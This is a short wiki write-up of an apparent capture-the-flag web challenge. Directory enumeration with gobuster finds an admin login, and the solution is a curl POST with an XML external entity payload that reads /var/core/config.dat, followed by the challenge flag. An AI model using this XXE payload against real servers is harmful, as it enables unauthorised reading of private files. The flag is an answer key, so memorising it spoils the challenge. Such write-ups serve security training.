City lights

From Pessin randon wiki
Revision as of 13:27, 9 September 2022 by Exf (talk | contribs)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Root direcotry gobuster
Blueberrylogin gobuster
Gobuster admin directory

Description

Light in the city have been turning on and off uncontrollably.

Logs shows access to the controller from strange IP addresses.

Admin have tried to gain access but with no luck.

You as a security expert have been tasked to bypass the login mechanism to read a crucial configuration file that allows engineer to turn light into manual control.

Question

Find the location of the configuration file and bypass login mechanism to read it.

Work in progress

  • blueberrylogin/admin/index.html -> Error on line1: /var/core/config.dat | Invalid paramtere: Flag

Solution

curl -X POST --data-raw '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE replece [<!ENTITY gimme SYSTEM "file:///var/core/config.dat"> ]><root><email>&gimme;</email><password>asd</password></root>' http://shared.target05:1234/process.php

Tools

Gobuster

Flag

b339a970-2d36-421d-8360-403fa7e3fb71